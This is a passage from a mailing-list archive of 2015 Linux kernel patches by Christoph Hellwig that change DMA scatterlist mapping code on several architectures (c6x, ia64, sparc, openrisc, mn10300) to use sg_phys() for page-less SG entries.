        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:11:51 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQCV-0007Lv-Ex
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:11:51 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37273 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012040AbbHLHLtwen5j (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:11:49 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:11:34 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34863 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011383AbbHLHJIQei9j (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:08 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9l-0001Yf-CF; Wed, 12 Aug 2015 07:09:01 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48784
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49947 gmane.linux.kernel:2018387 gmane.linux.kernel.cross-arch:28852 gmane.linux.ports.alpha:3293 gmane.linux.ports.ia64:25692 gmane.linux.kernel.metag:603 gmane.linux.ports.parisc:25919 gmane.linux.ports.ppc64.devel:116744 gmane.linux.ports.sparc:21398 gmane.linux.drivers.video-input-infrastructure:93942
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49947>

Use sg_phys() instead of virt_to_phys(sg_virt(sg)) so that we don't
require a kernel virtual address.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/c6x/kernel/dma.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
index ab7b12d..79cae03 100644
--- a/arch/c6x/kernel/dma.c
+++ b/arch/c6x/kernel/dma.c
@@ -68,8 +68,7 @@ int dma_map_sg(struct device *dev, struct scatterlist *sglist,
 	int i;
 
 	for_each_sg(sglist, sg, nents, i)
-		sg->dma_address = dma_map_single(dev, sg_virt(sg), sg->length,
-						 dir);
+		sg->dma_address = sg_phys(sg);
 
 	debug_dma_map_sg(dev, sglist, nents, nents, dir);
 
-- 
1.9.1




From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 09/31] ia64/pci_dma: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:28 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <1439363150-8661-10-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363540 28403 80.91.229.3 (12 Aug 2015 07:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:12:20 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:12:10 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQCo-0007ZI-9t
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:12:10 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37389 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011383AbbHLHMI2SGmj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:12:08 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:11:52 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34890 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27006522AbbHLHJLVApcj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:11 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9o-0001Zo-87; Wed, 12 Aug 2015 07:09:04 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48785
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49948 gmane.linux.kernel:2018389 gmane.linux.kernel.cross-arch:28853 gmane.linux.ports.alpha:3294 gmane.linux.ports.ia64:25693 gmane.linux.kernel.metag:604 gmane.linux.ports.parisc:25920 gmane.linux.ports.ppc64.devel:116745 gmane.linux.ports.sparc:21399 gmane.linux.drivers.video-input-infrastructure:93943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49948>

Use sg_phys() instead of virt_to_phys(sg_virt(sg)) so that we don't
require a kernel virtual address.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/ia64/sn/pci/pci_dma.c | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/arch/ia64/sn/pci/pci_dma.c b/arch/ia64/sn/pci/pci_dma.c
index d0853e8..8f713c8 100644
--- a/arch/ia64/sn/pci/pci_dma.c
+++ b/arch/ia64/sn/pci/pci_dma.c
@@ -18,9 +18,6 @@
 #include <asm/sn/pcidev.h>
 #include <asm/sn/sn_sal.h>
 
-#define SG_ENT_VIRT_ADDRESS(sg)	(sg_virt((sg)))
-#define SG_ENT_PHYS_ADDRESS(SG)	virt_to_phys(SG_ENT_VIRT_ADDRESS(SG))
-
 /**
  * sn_dma_supported - test a DMA mask
  * @dev: device to test
@@ -291,7 +288,7 @@ static int sn_dma_map_sg(struct device *dev, struct scatterlist *sgl,
 	 */
 	for_each_sg(sgl, sg, nhwentries, i) {
 		dma_addr_t dma_addr;
-		phys_addr = SG_ENT_PHYS_ADDRESS(sg);
+		phys_addr = sg_phys(sg);
 		if (dmabarr)
 			dma_addr = provider->dma_map_consistent(pdev,
 								phys_addr,
-- 
1.9.1




From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 11/31] sparc/iommu: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:30 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <1439363150-8661-12-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363576 28808 80.91.229.3 (12 Aug 2015 07:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:12:56 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:12:52 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQDR-000807-Sr
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:12:49 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37615 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011249AbbHLHMnTk0Rj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:12:43 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:12:27 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34929 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27010957AbbHLHJRqC4gj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:17 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9u-0001cf-2B; Wed, 12 Aug 2015 07:09:10 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48787
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49949 gmane.linux.kernel:2018391 gmane.linux.kernel.cross-arch:28854 gmane.linux.ports.alpha:3295 gmane.linux.ports.ia64:25694 gmane.linux.kernel.metag:605 gmane.linux.ports.parisc:25921 gmane.linux.ports.ppc64.devel:116746 gmane.linux.ports.sparc:21400 gmane.linux.drivers.video-input-infrastructure:93944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49949>

Use sg_phys() instead of __pa(sg_virt(sg)) so that we don't
require a kernel virtual address.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sparc/kernel/iommu.c        | 2 +-
 arch/sparc/kernel/iommu_common.h | 4 +---
 arch/sparc/kernel/pci_sun4v.c    | 2 +-
 3 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/arch/sparc/kernel/iommu.c b/arch/sparc/kernel/iommu.c
index 5320689..2ad89d2 100644
--- a/arch/sparc/kernel/iommu.c
+++ b/arch/sparc/kernel/iommu.c
@@ -486,7 +486,7 @@ static int dma_4u_map_sg(struct device *dev, struct scatterlist *sglist,
 			continue;
 		}
 		/* Allocate iommu entries for that segment */
-		paddr = (unsigned long) SG_ENT_PHYS_ADDRESS(s);
+		paddr = sg_phys(s);
 		npages = iommu_num_pages(paddr, slen, IO_PAGE_SIZE);
 		entry = iommu_tbl_range_alloc(dev, &iommu->tbl, npages,
 					      &handle, (unsigned long)(-1), 0);
diff --git a/arch/sparc/kernel/iommu_common.h b/arch/sparc/kernel/iommu_common.h
index b40cec2..8e2c211 100644
--- a/arch/sparc/kernel/iommu_common.h
+++ b/arch/sparc/kernel/iommu_common.h
@@ -33,15 +33,13 @@
  */
 #define IOMMU_PAGE_SHIFT		13
 
-#define SG_ENT_PHYS_ADDRESS(SG)	(__pa(sg_virt((SG))))
-
 static inline int is_span_boundary(unsigned long entry,
 				   unsigned long shift,
 				   unsigned long boundary_size,
 				   struct scatterlist *outs,
 				   struct scatterlist *sg)
 {
-	unsigned long paddr = SG_ENT_PHYS_ADDRESS(outs);
+	unsigned long paddr = sg_phys(outs);
 	int nr = iommu_num_pages(paddr, outs->dma_length + sg->length,
 				 IO_PAGE_SIZE);
 
diff --git a/arch/sparc/kernel/pci_sun4v.c b/arch/sparc/kernel/pci_sun4v.c
index d2fe57d..a7a6e41 100644
--- a/arch/sparc/kernel/pci_sun4v.c
+++ b/arch/sparc/kernel/pci_sun4v.c
@@ -370,7 +370,7 @@ static int dma_4v_map_sg(struct device *dev, struct scatterlist *sglist,
 			continue;
 		}
 		/* Allocate iommu entries for that segment */
-		paddr = (unsigned long) SG_ENT_PHYS_ADDRESS(s);
+		paddr = sg_phys(s);
 		npages = iommu_num_pages(paddr, slen, IO_PAGE_SIZE);
 		entry = iommu_tbl_range_alloc(dev, &iommu->tbl, npages,
 					      &handle, (unsigned long)(-1), 0);
-- 
1.9.1




From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 26/31] openrisc: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:45 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <1439363150-8661-27-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363577 28824 80.91.229.3 (12 Aug 2015 07:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:12:57 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: sparclinux-owner@vger.kernel.org Wed Aug 12 09:12:54 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZPQDT-0007zd-Fm
	for lnx-sparclinux@plane.gmane.org; Wed, 12 Aug 2015 09:12:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934226AbbHLHM1 (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 12 Aug 2015 03:12:27 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53357 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965343AbbHLHKA (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 12 Aug 2015 03:10:00 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAc-0001si-OH; Wed, 12 Aug 2015 07:09:55 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21401 gmane.linux.kernel:2018392 gmane.linux.kernel.cross-arch:28855 gmane.linux.ports.alpha:3296 gmane.linux.ports.ia64:25695 gmane.linux.kernel.metag:606 gmane.linux.ports.mips.general:49950 gmane.linux.ports.parisc:25922 gmane.linux.ports.ppc64.devel:116747 gmane.linux.drivers.video-input-infrastructure:93945
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21401>

Make all cache invalidation conditional on sg_has_page() and use
sg_phys to get the physical address directly.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/openrisc/kernel/dma.c | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index 0b77ddb..94ed052 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -184,8 +184,13 @@ or1k_map_sg(struct device *dev, struct scatterlist *sg,
 	int i;
 
 	for_each_sg(sg, s, nents, i) {
-		s->dma_address = or1k_map_page(dev, sg_page(s), s->offset,
-					       s->length, dir, NULL);
+		if (sg_has_page(s)) {
+			s->dma_address = or1k_map_page(dev, sg_page(s),
+						s->offset, s->length, dir,
+						NULL);
+		} else {
+			s->dma_address = sg_phys(s);
+		}
 	}
 
 	return nents;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 12/31] mn10300: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:31 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <1439363150-8661-13-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363590 29250 80.91.229.3 (12 Aug 2015 07:13:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:13:10 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:13:07 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQDi-0008Bu-Pe
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:13:06 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37726 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011311AbbHLHNE6zCvj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:13:04 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:12:49 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34945 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011433AbbHLHJTvK8mj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:19 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9w-0001dl-Vh; Wed, 12 Aug 2015 07:09:13 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48788
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49951 gmane.linux.kernel:2018393 gmane.linux.kernel.cross-arch:28856 gmane.linux.ports.alpha:3297 gmane.linux.ports.ia64:25696 gmane.linux.kernel.metag:607 gmane.linux.ports.parisc:25923 gmane.linux.ports.ppc64.devel:116748 gmane.linux.ports.sparc:21402 gmane.linux.drivers.video-input-infrastructure:93946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49951>

Just remove a BUG_ON, the code handles them just fine as-is.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/mn10300/include/asm/dma-mapping.h | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/arch/mn10300/include/asm/dma-mapping.h b/arch/mn10300/include/asm/dma-mapping.h
index a18abfc..b1b1050 100644
--- a/arch/mn10300/include/asm/dma-mapping.h
+++ b/arch/mn10300/include/asm/dma-mapping.h
@@ -57,11 +57,8 @@ int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	BUG_ON(!valid_dma_direction(direction));
 	WARN_ON(nents == 0 || sglist[0].length == 0);
 
-	for_each_sg(sglist, sg, nents, i) {
-		BUG_ON(!sg_page(sg));
-
+	for_each_sg(sglist, sg, nents, i)
 		sg->dma_address = sg_phys(sg);
-	}
 
 	mn10300_dcache_flush_inv();
 	return nents;
-- 
1.9.1




From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 24/31] xtensa: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:43 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <1439363150-8661-25-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363609 29569 80.91.229.3 (12 Aug 2015 07:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:13:29 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
